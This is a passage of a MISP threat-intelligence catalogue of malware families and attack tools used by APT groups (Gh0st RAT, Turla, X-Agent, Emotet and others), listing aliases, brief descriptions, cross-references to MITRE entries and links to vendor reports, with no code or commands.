similar: misp-galaxy:mitre-malware="EvilGrab - S0152" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="EvilGrab" with estimative-language:likelihood-probability="likely"
Links |
Trojan.Naid
The tag is: misp-galaxy:tool="Trojan.Naid"
Trojan.Naid is also known as:
-
Naid
-
Mdmbot.E
-
AGENT.GUNZ
-
AGENT.AQUP.DROPPER
-
AGENT.BMZA
-
MCRAT.A
-
AGENT.ABQMR
Trojan.Naid has relationships with:
-
similar: misp-galaxy:mitre-malware="Naid - S0205" with estimative-language:likelihood-probability="likely"
Links |
https://www.symantec.com/connect/blogs/cve-2012-1875-exploited-wild-part-1-trojannaid |
Moudoor
Backdoor.Moudoor, a customized version of Gh0st RAT
The tag is: misp-galaxy:tool="Moudoor"
Moudoor is also known as:
-
SCAR
-
KillProc.14145
Links |
https://securityledger.com/2013/09/apt-for-hire-symantec-outs-hidden-lynx-hacking-crew/ |
NetTraveler
APT that infected hundreds of high profile victims in more than 40 countries. Known targets of NetTraveler include Tibetan/Uyghur activists, oil industry companies, scientific research centers and institutes, universities, private companies, governments and governmental institutions, embassies and military contractors.
The tag is: misp-galaxy:tool="NetTraveler"
NetTraveler is also known as:
-
TravNet
-
Netfile
NetTraveler has relationships with:
-
similar: misp-galaxy:mitre-malware="NetTraveler - S0033" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="NetTraveler" with estimative-language:likelihood-probability="likely"
Links |
Winnti
APT used As part of Operation SMN, Novetta analyzed recent versions of the Winnti malware. The samples, compiled from mid- to late 2014, exhibited minimal functional changes over the previous generations Kaspersky reported in 2013.
The tag is: misp-galaxy:tool="Winnti"
Winnti is also known as:
-
Etso
-
SUQ
-
Agent.ALQHI
-
RbDoor
-
RibDoor
-
HIGHNOON
Winnti has relationships with:
-
similar: misp-galaxy:mitre-malware="Winnti - S0141" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Winnti (Windows)" with estimative-language:likelihood-probability="likely"
Links |
Mimikatz
Ease Credential stealh and replay, A little tool to play with Windows security.
The tag is: misp-galaxy:tool="Mimikatz"
Mimikatz is also known as:
-
Mikatz
Mimikatz has relationships with:
-
similar: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="likely"
Links |
WEBC2
Backdoor attribued to APT1
The tag is: misp-galaxy:tool="WEBC2"
WEBC2 has relationships with:
-
similar: misp-galaxy:mitre-malware="WEBC2 - S0109" with estimative-language:likelihood-probability="likely"
Links |
https://www.securestate.com/blog/2013/02/20/apt-if-it-aint-broke |
Pirpi
Symantec has observed Buckeye activity dating back to 2009, involving attacks on various organizations in several regions. Buckeye used a remote access Trojan (Backdoor.Pirpi) in attacks against a US organization’s network in 2009. The group delivered Backdoor.Pirpi through malicious attachments or links in convincing spear-phishing emails.
The tag is: misp-galaxy:tool="Pirpi"
Pirpi is also known as:
-
Badey
-
EXL
Pirpi has relationships with:
-
similar: misp-galaxy:mitre-malware="SHOTPUT - S0063" with estimative-language:likelihood-probability="likely"
Links |
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong |
RARSTONE
RARSTONE is a Remote Access Tool (RAT) discovered early 2013 by TrendMicro, it’s characterized by a great affinity with the other RAT know as Plug is and was used in April for phishing campaigns that followed the dramatic attack to the Boston Marathon.
The tag is: misp-galaxy:tool="RARSTONE"
RARSTONE has relationships with:
-
similar: misp-galaxy:mitre-malware="RARSTONE - S0055" with estimative-language:likelihood-probability="likely"
Links |
http://blog.trendmicro.com/trendlabs-security-intelligence/bkdr_rarstone-new-rat-to-watch-out-for/ |
Backspace
Backspace is a Backdoor that targets the Windows platform. This malware is reportedly associated with targeted attacks against Association of Southeast Asian Nations (ASEAN) members (APT30).
The tag is: misp-galaxy:tool="Backspace"
Backspace is also known as:
-
Lecna
Backspace has relationships with:
-
similar: misp-galaxy:mitre-malware="BACKSPACE - S0031" with estimative-language:likelihood-probability="likely"
Links |
XSControl
Backdoor user by he Naikon APT group
The tag is: misp-galaxy:tool="XSControl"
Links |
https://securelist.com/analysis/publications/69953/the-naikon-apt/ |
https://kasperskycontenthub.com/securelist/files/2015/05/TheNaikonAPT-MsnMM.pdf |
Neteagle
NETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as Scout and Norton.
The tag is: misp-galaxy:tool="Neteagle"
Neteagle is also known as:
-
scout
-
norton
Links |
Agent.BTZ
In November 2014, the experts of the G DATA SecurityLabs published an article about ComRAT, the Agent.BTZ successor. We explained that this case is linked to the Uroburos rootkit.
The tag is: misp-galaxy:tool="Agent.BTZ"
Agent.BTZ is also known as:
-
ComRat
Agent.BTZ has relationships with:
-
similar: misp-galaxy:rat="ComRAT" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-malware="ComRAT - S0126" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Agent.BTZ" with estimative-language:likelihood-probability="likely"
Links |
Heseber BOT
RAT bundle with standard VNC (to avoid/limit A/V detection).
The tag is: misp-galaxy:tool="Heseber BOT"
Agent.dne
The tag is: misp-galaxy:tool="Agent.dne"
Wipbot
Waterbug is the name given to the actors who use the malware tools Trojan.Wipbot (also known as Tavdig and Epic Turla)
The tag is: misp-galaxy:tool="Wipbot"
Wipbot is also known as:
-
Tavdig
-
Epic Turla
-
WorldCupSec
-
TadjMakhal
Wipbot has relationships with:
-
similar: misp-galaxy:mitre-malware="Epic - S0091" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Wipbot" with estimative-language:likelihood-probability="likely"
Links |
https://securelist.com/analysis/publications/65545/the-epic-turla-operation/ |
Turla
Family of related sophisticated backdoor software - Name comes from Microsoft detection signature – anagram of Ultra (Ultra3) was a name of the fake driver). A macOS version exists but appears incomplete and lacking features…for now!
The tag is: misp-galaxy:tool="Turla"
Turla is also known as:
-
Snake
-
Uroburos
-
Urouros
Turla has relationships with:
-
similar: misp-galaxy:mitre-malware="Uroburos - S0022" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Uroburos (Windows)" with estimative-language:likelihood-probability="likely"
Links |
https://www.first.org/resources/papers/tbilisi2014/turla-operations_and_development.pdf |
Winexe
The tag is: misp-galaxy:tool="Winexe"
Winexe has relationships with:
-
similar: misp-galaxy:mitre-tool="Winexe - S0191" with estimative-language:likelihood-probability="likely"
Dark Comet
RAT initialy identified in 2011 and still actively used.
The tag is: misp-galaxy:tool="Dark Comet"
Dark Comet has relationships with:
-
similar: misp-galaxy:rat="DarkComet" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="DarkComet" with estimative-language:likelihood-probability="likely"
DHS2015
The tag is: misp-galaxy:tool="DHS2015"
DHS2015 is also known as:
-
iRAT
Links |
https://securelist.com/files/2015/02/The-Desert-Falcons-targeted-attacks.pdf |
Gh0st Rat
Gh0st Rat is a well-known Chinese remote access trojan which was originally made by C.Rufus Security Team several years ago.
The tag is: misp-galaxy:tool="Gh0st Rat"
Gh0st Rat is also known as:
-
Gh0stRat, GhostRat
Gh0st Rat has relationships with:
-
used-by: misp-galaxy:threat-actor="Anchor Panda" with estimative-language:likelihood-probability="likely"
Links |
http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf |
Fakem RAT
Fakem RAT makes their network traffic look like well-known protocols (e.g. Messenger traffic, HTML pages).
The tag is: misp-galaxy:tool="Fakem RAT"
Fakem RAT is also known as:
-
FAKEM
Fakem RAT has relationships with:
-
similar: misp-galaxy:malpedia="Terminator RAT" with estimative-language:likelihood-probability="likely"
Links |
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-fakem-rat.pdf |
MFC Huner
The tag is: misp-galaxy:tool="MFC Huner"
MFC Huner is also known as:
-
Hupigon
-
BKDR_HUPIGON
Links |
Blackshades
Blackshades Remote Access Tool targets Microsoft Windows operating systems. Authors were arrested in 2012 and 2014.
The tag is: misp-galaxy:tool="Blackshades"
Blackshades has relationships with:
-
similar: misp-galaxy:rat="Blackshades" with estimative-language:likelihood-probability="likely"
Links |
https://blog.malwarebytes.org/intelligence/2012/06/you-dirty-rat-part-2-blackshades-net/ |
CHOPSTICK
backdoor used by apt28
The tag is: misp-galaxy:tool="CHOPSTICK"
CHOPSTICK is also known as:
-
webhp
-
SPLM
-
(.v2 fysbis)
CHOPSTICK has relationships with:
-
similar: misp-galaxy:mitre-malware="CHOPSTICK - S0023" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-malware="X-Agent for Android - S0314" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="X-Agent" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="X-Agent (Android)" with estimative-language:likelihood-probability="likely"
Links |
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf |
EVILTOSS
backdoor used by apt28
Sedreco serves as a spying backdoor; its functionalities can be extended with dynamically loaded plugins. It is made up of two distinct components: a dropper and the persistent payload installed by this dropper. We have not seen this component since April 2016.
The tag is: misp-galaxy:tool="EVILTOSS"
EVILTOSS is also known as:
-
Sedreco
-
AZZY
-
ADVSTORESHELL
-
NETUI
EVILTOSS has relationships with:
-
similar: misp-galaxy:mitre-malware="ADVSTORESHELL - S0045" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Sedreco" with estimative-language:likelihood-probability="likely"
Links |
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf |
GAMEFISH
backdoor
The tag is: misp-galaxy:tool="GAMEFISH"
GAMEFISH is also known as:
-
Sednit
-
Seduploader
-
JHUHUGIT
-
Sofacy
GAMEFISH has relationships with:
-
similar: misp-galaxy:mitre-malware="JHUHUGIT - S0044" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:android="Sofacy" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-malware="Komplex - S0162" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Seduploader" with estimative-language:likelihood-probability="likely"
Links |
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf |
SOURFACE
downloader - Older version of CORESHELL
The tag is: misp-galaxy:tool="SOURFACE"
SOURFACE is also known as:
-
Sofacy
SOURFACE has relationships with:
-
similar: misp-galaxy:mitre-malware="CORESHELL - S0137" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:android="Sofacy" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-malware="JHUHUGIT - S0044" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-malware="Komplex - S0162" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Seduploader" with estimative-language:likelihood-probability="likely"
Links |
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf |
OLDBAIT
credential harvester
The tag is: misp-galaxy:tool="OLDBAIT"
OLDBAIT is also known as:
-
Sasfis
-
BackDoor-FDU
-
IEChecker
OLDBAIT has relationships with:
-
similar: misp-galaxy:mitre-malware="OLDBAIT - S0138" with estimative-language:likelihood-probability="likely"
Links |
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_sasfis.tl |
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf |
CORESHELL
downloader - Newer version of SOURFACE
The tag is: misp-galaxy:tool="CORESHELL"
CORESHELL is also known as:
-
Sofacy
CORESHELL has relationships with:
-
similar: misp-galaxy:mitre-malware="CORESHELL - S0137" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:android="Sofacy" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-malware="JHUHUGIT - S0044" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-malware="Komplex - S0162" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Seduploader" with estimative-language:likelihood-probability="likely"
Links |
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf |
Havex RAT
The tag is: misp-galaxy:tool="Havex RAT"
Havex RAT is also known as:
-
Havex
Havex RAT has relationships with:
-
similar: misp-galaxy:mitre-malware="Backdoor.Oldrea - S0093" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Havex RAT" with estimative-language:likelihood-probability="likely"
KjW0rm
RAT initially written in VB.
The tag is: misp-galaxy:tool="KjW0rm"
KjW0rm has relationships with:
-
similar: misp-galaxy:rat="KjW0rm" with estimative-language:likelihood-probability="likely"
Links |
https://www.sentinelone.com/blog/understanding-kjw0rm-malware-we-dive-in-to-the-tv5-cyber-attack/ |
TinyTyphon
The tag is: misp-galaxy:tool="TinyTyphon"
TinyTyphon has relationships with:
-
similar: misp-galaxy:malpedia="TinyTyphon" with estimative-language:likelihood-probability="likely"
Badnews
The tag is: misp-galaxy:tool="Badnews"
LURK
The tag is: misp-galaxy:tool="LURK"
Oldrea
The tag is: misp-galaxy:tool="Oldrea"
AmmyAdmin
The tag is: misp-galaxy:tool="AmmyAdmin"
Matryoshka
The tag is: misp-galaxy:tool="Matryoshka"
Matryoshka has relationships with:
-
similar: misp-galaxy:rat="Matryoshka" with estimative-language:likelihood-probability="likely"
TinyZBot
The tag is: misp-galaxy:tool="TinyZBot"
TinyZBot has relationships with:
-
similar: misp-galaxy:mitre-malware="TinyZBot - S0004" with estimative-language:likelihood-probability="likely"
GHOLE
The tag is: misp-galaxy:tool="GHOLE"
CWoolger
The tag is: misp-galaxy:tool="CWoolger"
FireMalv
The tag is: misp-galaxy:tool="FireMalv"
FireMalv has relationships with:
-
similar: misp-galaxy:malpedia="FireMalv" with estimative-language:likelihood-probability="likely"
Regin
Regin (also known as Prax or WarriorPride) is a sophisticated malware toolkit revealed by Kaspersky Lab, Symantec, and The Intercept in November 2014. The malware targets specific users of Microsoft Windows-based computers and has been linked to the US intelligence gathering agency NSA and its British counterpart, the GCHQ. The Intercept provided samples of Regin for download including malware discovered at Belgian telecommunications provider, Belgacom. Kaspersky Lab says it first became aware of Regin in spring 2012, but that some of the earliest samples date from 2003. The name Regin is first found on the VirusTotal website on 9 March 2011.
The tag is: misp-galaxy:tool="Regin"
Regin is also known as:
-
Prax
-
WarriorPride
Regin has relationships with:
-
similar: misp-galaxy:mitre-malware="Regin - S0019" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Regin" with estimative-language:likelihood-probability="likely"
Links |
Duqu
The tag is: misp-galaxy:tool="Duqu"
Duqu has relationships with:
-
similar: misp-galaxy:mitre-malware="Duqu - S0038" with estimative-language:likelihood-probability="likely"
Flame
The tag is: misp-galaxy:tool="Flame"
Flame has relationships with:
-
similar: misp-galaxy:mitre-malware="Flame - S0143" with estimative-language:likelihood-probability="likely"
Stuxnet
The tag is: misp-galaxy:tool="Stuxnet"
Stuxnet has relationships with:
-
similar: misp-galaxy:malpedia="Stuxnet" with estimative-language:likelihood-probability="likely"
EquationLaser
The tag is: misp-galaxy:tool="EquationLaser"
EquationDrug
The tag is: misp-galaxy:tool="EquationDrug"
EquationDrug has relationships with:
-
similar: misp-galaxy:malpedia="EquationDrug" with estimative-language:likelihood-probability="likely"
DoubleFantasy
The tag is: misp-galaxy:tool="DoubleFantasy"
TripleFantasy
The tag is: misp-galaxy:tool="TripleFantasy"
Fanny
The tag is: misp-galaxy:tool="Fanny"
Fanny has relationships with:
-
similar: misp-galaxy:malpedia="Fanny" with estimative-language:likelihood-probability="likely"
GrayFish
The tag is: misp-galaxy:tool="GrayFish"
Babar
The tag is: misp-galaxy:tool="Babar"
Babar has relationships with:
-
similar: misp-galaxy:malpedia="Babar" with estimative-language:likelihood-probability="likely"
Bunny
The tag is: misp-galaxy:tool="Bunny"
Casper
The tag is: misp-galaxy:tool="Casper"
Casper has relationships with:
-
similar: misp-galaxy:malpedia="Casper" with estimative-language:likelihood-probability="likely"
NBot
The tag is: misp-galaxy:tool="NBot"
Tafacalou
The tag is: misp-galaxy:tool="Tafacalou"
Tdrop
The tag is: misp-galaxy:tool="Tdrop"
Troy
The tag is: misp-galaxy:tool="Troy"
Tdrop2
The tag is: misp-galaxy:tool="Tdrop2"
ZXShell
The tag is: misp-galaxy:tool="ZXShell"
ZXShell is also known as:
-
Sensode
ZXShell has relationships with:
-
similar: misp-galaxy:malpedia="ZXShell" with estimative-language:likelihood-probability="likely"
Links |
T9000
The tag is: misp-galaxy:tool="T9000"
T9000 has relationships with:
-
similar: misp-galaxy:mitre-malware="T9000 - S0098" with estimative-language:likelihood-probability="likely"
Links |
T5000
The tag is: misp-galaxy:tool="T5000"
T5000 is also known as:
-
Plat1
Links |
http://www.cylance.com/techblog/Grand-Theft-Auto-Panda.shtml |
Taidoor
The tag is: misp-galaxy:tool="Taidoor"
Taidoor has relationships with:
-
similar: misp-galaxy:mitre-malware="Taidoor - S0011" with estimative-language:likelihood-probability="likely"
Links |
http://www.symantec.com/connect/blogs/trojantaidoor-takes-aim-policy-think-tanks |
Rekaf
The tag is: misp-galaxy:tool="Rekaf"
Links |
https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks |
Scieron
The tag is: misp-galaxy:tool="Scieron"
SkeletonKey
The tag is: misp-galaxy:tool="SkeletonKey"
Links |
http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/ |
Preshin
The tag is: misp-galaxy:tool="Preshin"
Oficla
The tag is: misp-galaxy:tool="Oficla"
Oficla has relationships with:
-
similar: misp-galaxy:botnet="BredoLab" with estimative-language:likelihood-probability="likely"
Plexor
The tag is: misp-galaxy:tool="Plexor"
Plexor has relationships with:
-
similar: misp-galaxy:malpedia="Plexor" with estimative-language:likelihood-probability="likely"
Mongall
The tag is: misp-galaxy:tool="Mongall"
Links |
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html |
NeD Worm
The tag is: misp-galaxy:tool="NeD Worm"
NeD Worm has relationships with:
-
similar: misp-galaxy:mitre-malware="DustySky - S0062" with estimative-language:likelihood-probability="likely"
Links |
NewCT
The tag is: misp-galaxy:tool="NewCT"
NewCT has relationships with:
-
similar: misp-galaxy:malpedia="NewCT" with estimative-language:likelihood-probability="likely"
Links |
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html |
Nflog
The tag is: misp-galaxy:tool="Nflog"
Links |
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html |
Janicab
The tag is: misp-galaxy:tool="Janicab"
Janicab has relationships with:
-
similar: misp-galaxy:mitre-malware="Janicab - S0163" with estimative-language:likelihood-probability="likely"
Links |
http://blog.avast.com/2013/07/22/multisystem-trojan-janicab-attacks-windows-and-macosx-via-scripts/ |
Jripbot
The tag is: misp-galaxy:tool="Jripbot"
Jripbot is also known as:
-
Jiripbot
Links |
Jolob
The tag is: misp-galaxy:tool="Jolob"
Jolob has relationships with:
-
similar: misp-galaxy:malpedia="Jolob" with estimative-language:likelihood-probability="likely"
Links |
IsSpace
The tag is: misp-galaxy:tool="IsSpace"
IsSpace has relationships with:
-
similar: misp-galaxy:malpedia="IsSpace" with estimative-language:likelihood-probability="likely"
Links |
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html |
Emotet
The tag is: misp-galaxy:tool="Emotet"
Emotet is also known as:
-
Geodo
Emotet has relationships with:
-
similar: misp-galaxy:banker="Geodo" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Emotet" with estimative-language:likelihood-probability="likely"
Links |
https://securelist.com/analysis/publications/69560/the-banking-trojan-emotet-detailed-analysis/ |
https://www.forcepoint.com/blog/security-labs/thanks-giving-emotet |
Hoardy
The tag is: misp-galaxy:tool="Hoardy"
Hoardy is also known as:
-
Hoarde
-
Phindolp
-
BS2005
Hoardy has relationships with:
-
similar: misp-galaxy:mitre-malware="BS2005 - S0014" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="BS2005" with estimative-language:likelihood-probability="likely"
Links |
Htran
HUC Packet Transmitter (HTran) is a proxy tool, used to intercept and redirect Transmission Control Protocol (TCP) connections from the local host to a remote host. This makes it possible to obfuscate an attacker’s communications with victim networks. The tool has been freely available on the internet since at least 2009. HTran facilitates TCP connections between the victim and a hop point controlled by an attacker. Malicious cyber actors can use this technique to redirect their packets through multiple compromised hosts running HTran, to gain greater access to hosts in a network
The tag is: misp-galaxy:tool="Htran"
Htran is also known as:
-
HUC Packet Transmitter
-
HTran
Links |
HTTPBrowser
The tag is: misp-galaxy:tool="HTTPBrowser"
HTTPBrowser is also known as:
-
TokenControl
HTTPBrowser has relationships with:
-
similar: misp-galaxy:mitre-malware="HTTPBrowser - S0070" with estimative-language:likelihood-probability="likely"
Links |
Disgufa
The tag is: misp-galaxy:tool="Disgufa"
Elirks
The tag is: misp-galaxy:tool="Elirks"
Elirks has relationships with:
-
similar: misp-galaxy:malpedia="Elirks" with estimative-language:likelihood-probability="likely"
Snifula
The tag is: misp-galaxy:tool="Snifula"
Snifula is also known as:
-
Ursnif
Snifula has relationships with:
-
similar: misp-galaxy:banker="Gozi" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Gozi" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Snifula" with estimative-language:likelihood-probability="likely"
Links |
Aumlib
The tag is: misp-galaxy:tool="Aumlib"
Aumlib is also known as:
-
Yayih
-
mswab
-
Graftor
Aumlib has relationships with:
-
similar: misp-galaxy:malpedia="Graftor" with estimative-language:likelihood-probability="likely"
Links |
CTRat
The tag is: misp-galaxy:tool="CTRat"
Links |
http://www.fireeye.com/blog/technical/threat-intelligence/2014/07/spy-of-the-tiger.html |
Emdivi
The tag is: misp-galaxy:tool="Emdivi"
Emdivi is also known as:
-
Newsripper
Emdivi has relationships with:
-
similar: misp-galaxy:malpedia="Emdivi" with estimative-language:likelihood-probability="likely"
Links |
Etumbot
The tag is: misp-galaxy:tool="Etumbot"
Etumbot is also known as:
-
Exploz
-
Specfix
-
RIPTIDE
Etumbot has relationships with:
-
similar: misp-galaxy:mitre-malware="RIPTIDE - S0003" with estimative-language:likelihood-probability="likely"
Links |
www.arbornetworks.com/asert/wp-content/uploads/2014/06/ASERT-Threat-Intelligence-Brief-2014-07-Illuminating-Etumbot-APT.pdf[www.arbornetworks.com/asert/wp-content/uploads/2014/06/ASERT-Threat-Intelligence-Brief-2014-07-Illuminating-Etumbot-APT.pdf] |
Fysbis
The tag is: misp-galaxy:tool="Fysbis"
Links |
http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/ |
Hikit
The tag is: misp-galaxy:tool="Hikit"
Hikit has relationships with:
-
similar: misp-galaxy:mitre-malware="Hikit - S0009" with estimative-language:likelihood-probability="likely"
Links |
https://blog.bit9.com/2013/02/25/bit9-security-incident-update/ |
Hancitor
The tag is: misp-galaxy:tool="Hancitor"
Hancitor is also known as:
-
Tordal
-
Chanitor
-
Pony
Hancitor has relationships with:
-
similar: misp-galaxy:malpedia="Hancitor" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Pony" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="Fareit" with estimative-language:likelihood-probability="likely"
Links |
https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear |
Ruckguv
The tag is: misp-galaxy:tool="Ruckguv"
Ruckguv has relationships with:
-
similar: misp-galaxy:malpedia="Ruckguv" with estimative-language:likelihood-probability="likely"
Links |
https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear |
Helminth backdoor
The tag is: misp-galaxy:tool="Helminth backdoor"
Links |
IRONGATE
The tag is: misp-galaxy:tool="IRONGATE"
Links |
https://www.fireeye.com/blog/threat-research/2016/06/irongate_ics_malware.html |
ShimRAT
The tag is: misp-galaxy:tool="ShimRAT"
Links |
https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf |
X-Agent
APT28’s second-stage persistent macOS backdoor. This backdoor component is known to have a modular structure featuring various espionage functionalities, such as key-logging, screen grabbing and file exfiltration. This component is available for Osx, Windows, Linux and iOS operating systems.
Xagent is a modular backdoor with spying functionalities such as keystroke logging and file exfiltration. Xagent is the group’s flagship backdoor and heavily used in their operations. Early versions for Linux and Windows were seen years ago, then in 2015 an iOS version came out. One year later, an Android version was discovered and finally, in the beginning of 2017, an Xagent sample for OS X was described.
The tag is: misp-galaxy:tool="X-Agent"
X-Agent is also known as:
-
XAgent
X-Agent has relationships with:
-
similar: misp-galaxy:mitre-malware="CHOPSTICK - S0023" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-malware="X-Agent for Android - S0314" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="CHOPSTICK" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="X-Agent (Android)" with estimative-language:likelihood-probability="likely"
Links |
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/ |
X-Tunnel
The tag is: misp-galaxy:tool="X-Tunnel"
X-Tunnel is also known as:
-
XTunnel
X-Tunnel has relationships with:
-
similar: misp-galaxy:mitre-malware="XTunnel - S0117" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="X-Tunnel" with estimative-language:likelihood-probability="likely"
Foozer
The tag is: misp-galaxy:tool="Foozer"
Links |
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ |
WinIDS
The tag is: misp-galaxy:tool="WinIDS"
Links |
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ |
DownRange
The tag is: misp-galaxy:tool="DownRange"
Links |
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ |
Mad Max
The tag is: misp-galaxy:tool="Mad Max"
Mad Max has relationships with:
-
similar: misp-galaxy:botnet="Madmax" with estimative-language:likelihood-probability="likely"
Links |
Crimson
Crimson is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims
The tag is: misp-galaxy:tool="Crimson"
Crimson has relationships with:
-
similar: misp-galaxy:rat="Crimson" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-malware="Crimson - S0115" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Crimson RAT" with estimative-language:likelihood-probability="likely"
Links |
https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF |
Prikormka
Operation Groundbait based on our research into the Prikormka malware family. This includes detailed technical analysis of the Prikormka malware family and its spreading mechanisms, and a description of the most noteworthy attack campaigns.
The tag is: misp-galaxy:tool="Prikormka"
Prikormka has relationships with:
-
similar: misp-galaxy:mitre-malware="Prikormka - S0113" with estimative-language:likelihood-probability="likely"
Links |
http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf |
NanHaiShu
This whitepaper details a malicious program we identify as NanHaiShu. Based on our analysis, the threat actor behind this malware targets government and private-sector organizations.
The tag is: misp-galaxy:tool="NanHaiShu"
NanHaiShu has relationships with:
-
similar: misp-galaxy:mitre-malware="NanHaiShu - S0228" with estimative-language:likelihood-probability="likely"
Links |
https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf |
Umbreon
Umbreon (sharing the same name as the Pokémon) targets Linux systems, including systems running both Intel and ARM processors, expanding the scope of this threat to include embedded devices as well.
The tag is: misp-galaxy:tool="Umbreon"
Umbreon has relationships with:
-
similar: misp-galaxy:mitre-malware="Umbreon - S0221" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Umbreon" with estimative-language:likelihood-probability="likely"
Links |
Odinaff
Odinaff is typically deployed in the first stage of an attack, to gain a foothold onto the network, providing a persistent presence and the ability to install additional tools onto the target network. These additional tools bear the hallmarks of a sophisticated attacker which has plagued the financial industry since at least 2013–Carbanak. This new wave of attacks has also used some infrastructure that has previously been used in Carbanak campaigns.
The tag is: misp-galaxy:tool="Odinaff"
Odinaff has relationships with:
-
similar: misp-galaxy:malpedia="Odinaff" with estimative-language:likelihood-probability="likely"
Links |
https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks |
Hworm
Unit 42 has observed a new version of Hworm (or Houdini) being used within multiple attacks. This blog outlines technical details of this new Hworm version and documents an attack campaign making use of the backdoor. Of the samples used in this attack, the first we observed were June 2016, while as-of publication we were still seeing attacks as recently as mid-October, suggesting that this is likely an active, ongoing campaign.
The tag is: misp-galaxy:tool="Hworm"
Hworm is also known as:
-
Houdini
Hworm has relationships with:
-
similar: misp-galaxy:malpedia="Hworm" with estimative-language:likelihood-probability="likely"
Links |
http://researchcenter.paloaltonetworks.com/2016/10/unit42-houdinis-magic-reappearance/ |
Backdoor.Dripion
